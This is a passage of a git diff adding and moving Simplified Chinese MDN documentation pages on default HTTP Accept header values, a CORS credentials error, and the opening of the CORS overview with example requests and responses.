- -

这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 */* MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或HTML {{HTMLElement("a")}} 标签发起的请求。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User Agent Value Comment
Firefoxtext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-  
这个值可以通过network.http.accept.default 参数来修改。
Safari, Chrome -

application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5

-
source
Safari 5 -

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

-
这是对早期 Accept 头的改进,不再把 image/png 排在 text/html 之前。
Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* 请参见 IE and the Accept Header (IEInternals' MSDN blog).
Edgetext/html, application/xhtml+xml, image/jxr, */* 
Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 
- -

image请求

- -

当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素, 用户代理通常会设置一个特定的媒体类型列表。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox*/* (since Firefox 47)
- image/png,image/*;q=0.8,*/*;q=0.5 (before)
 这个值可以通过 image.http.accept 参数修改。
Safari*/* 
Chromeimage/webp,image/*,*/*;q=0.8 在支持webp格式之前,是使用的 */*
Internet Explorer 8 及更早版本*/* 请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
- -

video请求

- -

通过HTML {{HTMLElement("video")}} 元素请求一个video时, 大多数浏览器会使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox  3.6 之前的版本 不支持 {{HTMLElement("video")}} 
Firefox 3.6 及以上版本audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5 请参见bug 489071
Chrome*/* 
Internet Explorer 8 或更早的版本 不支持 {{HTMLElement("video")}} 
- -

audio请求

- -

通过HTML {{HTMLElement("audio")}} 元素请求audio资源时, 大多数浏览器会使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox 3.6 及以上版本audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5See bug 489071
Safari, Chrome? 
Internet Explorer 8 及更早版本 不支持 {{HTMLElement("audio")}} 
Internet Explorer 9? 
- -

scripts请求

- -

当通过 {{HTMLElement("script")}} 元素请求script时, 一些浏览器使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox*/* 请参见bug 170789
Safari, Chrome*/* 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9application/javascript, */*;q=0.8请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
- -

CSS 请求

- -

当通过 <link rel="stylesheet"> HTML 元素请求CSS样式表时, 大多数浏览器使用特定值。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User AgentValueComment
Firefox 4text/css,*/*;q=0.1 请参见bug 170789
Safari 5text/css,*/*;q=0.1 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9text/css请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
Chrome 12text/css,*/*;q=0.1 
Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1  
Konqueror 4.6text/css,*/*;q=0.1 
diff --git a/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html new file mode 100644 index 0000000000..9db5868657 --- /dev/null +++ b/files/zh-cn/web/http/content_negotiation/list_of_default_accept_values/index.html @@ -0,0 +1,248 @@ +--- +title: Accept 默认值 +slug: Web/HTTP/Content_negotiation/Accept_默认值 +translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values +--- +
{{HTTPSidebar}}
+ +

本文介绍了在一些特定输入和浏览器版本下的HTTP  Accept 头的默认值

+ +

默认值

+ +

这些值将在上下文未设置其它信息时被使用。 注意:所有的浏览器都会添加 */* MIME 类型以涵盖各种情况。这通常用于通过浏览器的地址栏或HTML {{HTMLElement("a")}} 标签发起的请求。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User Agent Value Comment
Firefoxtext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+  
这个值可以通过network.http.accept.default 参数来修改。
Safari, Chrome +

application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5

+
source
Safari 5 +

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

+
这是对早期 Accept 头的改进,不再把 image/png 排在 text/html 之前。
Internet Explorer 8image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */* 请参见 IE and the Accept Header (IEInternals' MSDN blog).
Edgetext/html, application/xhtml+xml, image/jxr, */* 
Operatext/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 
+ +

image请求

+ +

当请求一张图片时, 比如一个 HTML {{HTMLElement("img")}} 元素, 用户代理通常会设置一个特定的媒体类型列表。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox*/* (since Firefox 47)
+ image/png,image/*;q=0.8,*/*;q=0.5 (before)
 这个值可以通过 image.http.accept 参数修改。
Safari*/* 
Chromeimage/webp,image/*,*/*;q=0.8 在支持webp格式之前,是使用的 */*
Internet Explorer 8 及更早版本*/* 请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
+ +

video请求

+ +

通过HTML {{HTMLElement("video")}} 元素请求一个video时, 大多数浏览器会使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox  3.6 之前的版本 不支持 {{HTMLElement("video")}} 
Firefox 3.6 及以上版本audio/webm, audio/ogg, audio/wav, audio/*;q=0.9, application/ogg;q=0.7, video/*;q=0.6; */*;q=0.5 请参见bug 489071
Chrome*/* 
Internet Explorer 8 或更早的版本 不支持 {{HTMLElement("video")}} 
+ +

audio请求

+ +

通过HTML {{HTMLElement("audio")}} 元素请求audio资源时, 大多数浏览器会使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox 3.6 及以上版本audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5See bug 489071
Safari, Chrome? 
Internet Explorer 8 及更早版本 不支持 {{HTMLElement("audio")}} 
Internet Explorer 9? 
+ +

scripts请求

+ +

当通过 {{HTMLElement("script")}} 元素请求script时, 一些浏览器使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox*/* 请参见bug 170789
Safari, Chrome*/* 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9application/javascript, */*;q=0.8请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
+ +

CSS 请求

+ +

当通过 <link rel="stylesheet"> HTML 元素请求CSS样式表时, 大多数浏览器使用特定值。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User AgentValueComment
Firefox 4text/css,*/*;q=0.1 请参见bug 170789
Safari 5text/css,*/*;q=0.1 
Internet Explorer 8 及更早版本*/*请参见 IE and the Accept Header (IEInternals' MSDN blog)
Internet Explorer 9text/css请参见 Fiddler is better with Internet Explorer 9 (IEInternals' MSDN blog)
Chrome 12text/css,*/*;q=0.1 
Opera 11.10text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1  
Konqueror 4.6text/css,*/*;q=0.1 
diff --git a/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html new file mode 100644 index 0000000000..8a8f8d0074 --- /dev/null +++ b/files/zh-cn/web/http/cors/errors/corsmissingallowcredentials/index.html @@ -0,0 +1,32 @@ +--- +title: 故:在CORS头Access-Control-Allow-Credentials中预期为true +slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 +translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials +--- +
+ +

理由

+ +
故:在CORS头Access-Control-Allow-Credentials中预期设为true
+ +

错在了哪儿?

+ +

     CORS请求要求服务器允许使用凭据,但是服务器的HTTPHeader:Access-Control-Allow-Credentials标头的值并没有设置为true 。

+ +

想要在客户端解决此问题,请修改代码以不请求使用凭据:

+ +
    +
  • 如果要使用{{domxref("XMLHttpRequest")}}发出请求,请确保没有将{{domxref("XMLHttpRequest.withCredentials”,“ withCredentials")}}}设置为true。
  • +
  • 如果使用 Server-sent events,请确保{{domxref("EventSource.withCredentials")}}为false(default)。
  • +
  • 如果使用 Fetch API,请确保{{domxref("Request.credentials")}}为“omit”。
  • +
+ +

想要通过更改服务器的配置来消除此错误,请调整服务器的配置以将Access-Control-Allow-Credentials标头的值设置为true。

+ +

更多

+ + diff --git "a/files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" "b/files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" deleted file mode 100644 index 8a8f8d0074..0000000000 --- "a/files/zh-cn/web/http/cors/errors/cors\351\224\231\350\257\257\345\205\201\350\256\270\345\207\255\350\257\201/index.html" +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: 故:在CORS头Access-Control-Allow-Credentials中预期为true -slug: Web/HTTP/CORS/Errors/CORS错误允许凭证 -translation_of: Web/HTTP/CORS/Errors/CORSMIssingAllowCredentials ---- -
- -

理由

- -
故:在CORS头Access-Control-Allow-Credentials中预期设为true
- -

错在了哪儿?

- -

     CORS请求要求服务器允许使用凭据,但是服务器的HTTPHeader:Access-Control-Allow-Credentials标头的值并没有设置为true 。

- -

想要在客户端解决此问题,请修改代码以不请求使用凭据:

- -
    -
  • 如果要使用{{domxref("XMLHttpRequest")}}发出请求,请确保没有将{{domxref("XMLHttpRequest.withCredentials”,“ withCredentials")}}}设置为true。
  • -
  • 如果使用 Server-sent events,请确保{{domxref("EventSource.withCredentials")}}为false(default)。
  • -
  • 如果使用 Fetch API,请确保{{domxref("Request.credentials")}}为“omit”。
  • -
- -

想要通过更改服务器的配置来消除此错误,请调整服务器的配置以将Access-Control-Allow-Credentials标头的值设置为true。

- -

更多

- - diff --git a/files/zh-cn/web/http/cors/index.html b/files/zh-cn/web/http/cors/index.html new file mode 100644 index 0000000000..c7acc1344d --- /dev/null +++ b/files/zh-cn/web/http/cors/index.html @@ -0,0 +1,510 @@ +--- +title: 跨源资源共享(CORS) +slug: Web/HTTP/Access_control_CORS +tags: + - AJAX + - CORS + - Cross-Origin Resource Sharing + - Fetch + - Fetch API + - HTTP + - HTTP Access Controls + - Same-origin policy + - Security + - XMLHttpRequest + - 'l10n:priority' +translation_of: Web/HTTP/CORS +--- +
{{HTTPSidebar}}
+ +

跨源资源共享 ({{Glossary("CORS")}}) (或通俗地译为跨域资源共享)是一种基于{{Glossary("HTTP")}} 头的机制,该机制通过允许服务器标示除了它自己以外的其它{{glossary("origin")}}(域,协议和端口),这样浏览器可以访问加载这些资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。

+ +

跨源HTTP请求的一个例子:运行在 http://domain-a.com 的JavaScript代码使用{{domxref("XMLHttpRequest")}}来发起一个到 https://domain-b.com/data.json 的请求。

+ +

出于安全性,浏览器限制脚本内发起的跨源HTTP请求。 例如,XMLHttpRequest和Fetch API遵循同源策略。 这意味着使用这些API的Web应用程序只能从加载应用程序的同一个域请求HTTP资源,除非响应报文包含了正确CORS响应头。

+ +

+ +

跨源域资源共享( {{Glossary("CORS")}} )机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 {{domxref("XMLHttpRequest")}} 或 Fetch )使用 CORS,以降低跨源 HTTP 请求所带来的风险。

+ +

谁应该读这篇文章?

+ +

说实话,每个人。

+ +

更具体地来讲,这篇文章适用于网站管理员、后端和前端开发者。现代浏览器处理跨源资源共享的客户端部分,包括HTTP头和相关策略的执行。但是这一新标准意味着服务器需要处理新的请求头和响应头。对于服务端的支持,开发者可以阅读补充材料 cross-origin sharing from a server perspective (with PHP code snippets)

+ +

什么情况下需要 CORS ?

+ +

这份 cross-origin sharing standard 允许在下列场景中使用跨站点 HTTP 请求:

+ + + +

本文概述了跨源资源共享机制及其所涉及的 HTTP 头。

+ +

功能概述

+ +

跨源资源共享标准新增了一组 HTTP 首部字段,允许服务器声明哪些源站通过浏览器有权限访问哪些资源。另外,规范要求,对那些可能对服务器数据产生副作用的 HTTP 请求方法(特别是 {{HTTPMethod("GET")}} 以外的 HTTP 请求,或者搭配某些 MIME 类型的 {{HTTPMethod("POST")}} 请求),浏览器必须首先使用 {{HTTPMethod("OPTIONS")}} 方法发起一个预检请求(preflight request),从而获知服务端是否允许该跨源请求。服务器确认允许之后,才发起实际的 HTTP 请求。在预检请求的返回中,服务器端也可以通知客户端,是否需要携带身份凭证(包括 Cookies 和 HTTP 认证相关数据)。

+ +

CORS请求失败会产生错误,但是为了安全,在JavaScript代码层面是无法获知到底具体是哪里出了问题。你只能查看浏览器的控制台以得知具体是哪里出现了错误。

+ +

接下来的内容将讨论相关场景,并剖析该机制所涉及的 HTTP 首部字段。

+ +

若干访问控制场景

+ +

这里,我们使用三个场景来解释跨源资源共享机制的工作原理。这些例子都使用 {{domxref("XMLHttpRequest")}} 对象。

+ +

本文中的 JavaScript 代码片段都可以从 http://arunranga.com/examples/access-control/ 获得。另外,使用支持跨源  {{domxref("XMLHttpRequest")}} 的浏览器访问该地址,可以看到代码的实际运行结果。

+ +

关于服务端对跨源资源共享的支持的讨论,请参见这篇文章: Server-Side_Access_Control (CORS)

+ +

简单请求

+ +

某些请求不会触发 CORS 预检请求。本文称这样的请求为“简单请求”,请注意,该术语并不属于 {{SpecName('Fetch')}} (其中定义了 CORS)规范。若请求满足所有下述条件,则该请求可视为“简单请求”:

+ +
    +
  • 使用下列方法之一: +
      +
    • {{HTTPMethod("GET")}}
    • +
    • {{HTTPMethod("HEAD")}}
    • +
    • {{HTTPMethod("POST")}}
    • +
    +
  • +
  • 除了被用户代理自动设置的首部字段(例如 {{HTTPHeader("Connection")}} ,{{HTTPHeader("User-Agent")}})和在 Fetch 规范中定义为 禁用首部名称 的其他首部,允许人为设置的字段为 Fetch 规范定义的 对 CORS 安全的首部字段集合。该集合为: +
      +
    • {{HTTPHeader("Accept")}}
    • +
    • {{HTTPHeader("Accept-Language")}}
    • +
    • {{HTTPHeader("Content-Language")}}
    • +
    • {{HTTPHeader("Content-Type")}} (需要注意额外的限制)
    • +
    • DPR
    • +
    • Downlink
    • +
    • Save-Data
    • +
    • Viewport-Width
    • +
    • Width
    • +
    +
  • +
  • {{HTTPHeader("Content-Type")}} 的值仅限于下列三者之一: +
      +
    • text/plain
    • +
    • multipart/form-data
    • +
    • application/x-www-form-urlencoded
    • +
    +
  • +
  • 请求中的任意{{domxref("XMLHttpRequestUpload")}} 对象均没有注册任何事件监听器;{{domxref("XMLHttpRequestUpload")}} 对象可以使用 {{domxref("XMLHttpRequest.upload")}} 属性访问。
  • +
  • 请求中没有使用 {{domxref("ReadableStream")}} 对象。
  • +
+ +
注意: 这些跨站点请求与浏览器发出的其他跨站点请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。因此,那些不允许跨站点请求的网站无需为这一新的 HTTP 访问控制特性担心。
+ +
注意: WebKit Nightly 和 Safari Technology Preview 为{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, 和 {{HTTPHeader("Content-Language")}} 首部字段的值添加了额外的限制。如果这些首部字段的值是“非标准”的,WebKit/Safari 就不会将这些请求视为“简单请求”。WebKit/Safari 并没有在文档中列出哪些值是“非标准”的,不过我们可以在这里找到相关讨论:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, and Switch to a blacklist model for restricted Accept headers in simple CORS requests。其它浏览器并不支持这些额外的限制,因为它们不属于规范的一部分。
+ +

比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

客户端和服务器之间使用 CORS 首部字段来处理权限:

+ +

+ +

分别检视请求报文和响应报文:

+ +
GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[XML Data]
+
+ +

第 1~10 行是请求首部。第10行 的请求首部字段 {{HTTPHeader("Origin")}} 表明该请求来源于 http://foo.example

+ +

第 13~22 行是来自于 http://bar.other 的服务端响应。响应中携带了响应首部字段 {{HTTPHeader("Access-Control-Allow-Origin")}}(第 16 行)。使用 {{HTTPHeader("Origin")}} 和 {{HTTPHeader("Access-Control-Allow-Origin")}} 就能完成最简单的访问控制。本例中,服务端返回的 Access-Control-Allow-Origin: * 表明,该资源可以被任意外域访问。如果服务端仅允许来自 http://foo.example 的访问,该首部字段的内容如下:

+ +

Access-Control-Allow-Origin: http://foo.example

+ +

现在,除了 http://foo.example,其它外域均不能访问该资源(该策略由请求首部中的 ORIGIN 字段定义,见第10行)。Access-Control-Allow-Origin 应当为 * 或者包含由 Origin 首部字段所指明的域名。

+ +

预检请求

+ +

与前述简单请求不同,“需预检的请求”要求必须首先使用 {{HTTPMethod("OPTIONS")}}   方法发起一个预检请求到服务器,以获知服务器是否允许该实际请求。"预检请求“的使用,可以避免跨域请求对服务器的用户数据产生未预期的影响。

+ +

如下是一个需要执行预检请求的 HTTP 请求:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

上面的代码使用 POST 请求发送一个 XML 文档,该请求包含了一个自定义的请求首部字段(X-PINGOTHER: pingpong)。另外,该请求的 Content-Type 为 application/xml。因此,该请求需要首先发起“预检请求”。

+ +

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+ +

预检请求完成之后,发送实际请求:

+ +
POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><person><name>Arun</name></person>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]
+ +

浏览器检测到,从 JavaScript 中发起的请求需要被预检。从上面的报文中,我们看到,第 1~12 行发送了一个使用 OPTIONS 方法的“预检请求”。 OPTIONS 是 HTTP/1.1 协议中定义的方法,用以从服务器获取更多信息。该方法不会对服务器资源产生影响。 预检请求中同时携带了下面两个首部字段:

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+ +

首部字段 {{HTTPHeader("Access-Control-Request-Method")}} 告知服务器,实际请求将使用 POST 方法。首部字段 {{HTTPHeader("Access-Control-Request-Headers")}} 告知服务器,实际请求将携带两个自定义请求首部字段:X-PINGOTHERContent-Type。服务器据此决定,该实际请求是否被允许。

+ +

第14~26 行为预检请求的响应,表明服务器将接受后续的实际请求。重点看第 17~20 行:

+ +
Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+ +

首部字段 Access-Control-Allow-Methods 表明服务器允许客户端使用 POST, GET OPTIONS 方法发起请求。该字段与 HTTP/1.1 Allow: response header 类似,但仅限于在需要访问控制的场景中使用。

+ +

首部字段 Access-Control-Allow-Headers 表明服务器允许请求中携带字段 X-PINGOTHER Content-Type Access-Control-Allow-Methods 一样,Access-Control-Allow-Headers 的值为逗号分割的列表。

+ +

最后,首部字段 Access-Control-Max-Age 表明该响应的有效时间为 86400 秒,也就是 24 小时。在有效时间内,浏览器无须为同一请求再次发起预检请求。请注意,浏览器自身维护了一个最大有效时间,如果该首部字段的值超过了最大有效时间,将不会生效。

+ +

预检请求与重定向

+ +

大多数浏览器不支持针对于预检请求的重定向。如果一个预检请求发生了重定向,浏览器将报告错误:

+ +
+

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

+
+ +
+

Request requires preflight, which is disallowed to follow cross-origin redirect

+
+ +

CORS 最初要求该行为,不过在后续的修订中废弃了这一要求

+ +

在浏览器的实现跟上规范之前,有两种方式规避上述报错行为:

+ +
    +
  • 在服务端去掉对预检请求的重定向;
  • +
  • 将实际请求变成一个简单请求。
  • +
+ +

如果上面两种方式难以做到,我们仍有其他办法:

+ + + +

不过,如果请求是由于存在 Authorization 字段而引发了预检请求,则这一方法将无法使用。这种情况只能由服务端进行更改。

+ +

附带身份凭证的请求

+ +

{{domxref("XMLHttpRequest")}} 或 Fetch 与 CORS 的一个有趣的特性是,可以基于  HTTP cookies 和 HTTP 认证信息发送身份凭证。一般而言,对于跨源 {{domxref("XMLHttpRequest")}} 或 Fetch 请求,浏览器不会发送身份凭证信息。如果要发送凭证信息,需要设置 XMLHttpRequest 的某个特殊标志位。

+ +

本例中,http://foo.example 的某脚本向 http://bar.other 发起一个GET 请求,并设置 Cookies:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

第 7 行将 XMLHttpRequest 的 withCredentials 标志设置为 true,从而向服务器发送 Cookies。因为这是一个简单 GET 请求,所以浏览器不会对其发起“预检请求”。但是,如果服务器端的响应中未携带 Access-Control-Allow-Credentials: true ,浏览器将不会把响应内容返回给请求的发送者。

+ +

+ +

客户端与服务器端交互示例如下:

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+ +

即使第 10 行指定了 Cookie 的相关信息,但是,如果 bar.other 的响应中缺失 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true(第 17 行),则响应内容不会返回给请求的发起者。

+ +

附带身份凭证的请求与通配符

+ +

对于附带身份凭证的请求,服务器不得设置 Access-Control-Allow-Origin 的值为“*”。

+ +

这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 http://foo.example,则请求将成功执行。

+ +

另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。

+ +

第三方 cookies

+ +

注意在 CORS 响应中设置的 cookies 适用一般性第三方 cookie 策略。在上面的例子中,页面是在 `foo.example` 加载,但是第 20 行的 cookie 是被 `bar.other` 发送的,如果用户设置其浏览器拒绝所有第三方 cookies,那么将不会被保存。

+ +

HTTP 响应首部字段

+ +

本节列出了规范所定义的响应首部字段。上一小节中,我们已经看到了这些首部字段在实际场景中是如何工作的。

+ +

Access-Control-Allow-Origin

+ +

响应首部中可以携带一个 {{HTTPHeader("Access-Control-Allow-Origin")}} 字段,其语法如下:

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

其中,origin 参数的值指定了允许访问该资源的外域 URI。对于不需要携带身份凭证的请求,服务器可以指定该字段的值为通配符,表示允许来自所有域的请求。

+ +

例如,下面的字段值将允许来自 http://mozilla.com 的请求:

+ +
Access-Control-Allow-Origin: http://mozilla.com
+ +

如果服务端指定了具体的域名而非“*”,那么响应首部中的 Vary 字段的值必须包含 Origin。这将告诉客户端:服务器对不同的源站返回不同的内容。

+ +

Access-Control-Expose-Headers

+ +

译者注:在跨源访问时,XMLHttpRequest对象的getResponseHeader()方法只能拿到一些最基本的响应头,Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma,如果要访问其他头,则需要服务器设置本响应头。

+ +

{{HTTPHeader("Access-Control-Expose-Headers")}} 头让服务器把允许浏览器访问的头放入白名单,例如:

+ +
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+
+ +

这样浏览器就能够通过getResponseHeader访问X-My-Custom-Header和 X-Another-Custom-Header 响应头了。

+ +

Access-Control-Max-Age

+ +

{{HTTPHeader("Access-Control-Max-Age")}} 头指定了preflight请求的结果能够被缓存多久,请参考本文在前面提到的preflight例子。

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

delta-seconds 参数表示preflight请求的结果在多少秒内有效。

+ +

Access-Control-Allow-Credentials

+ +

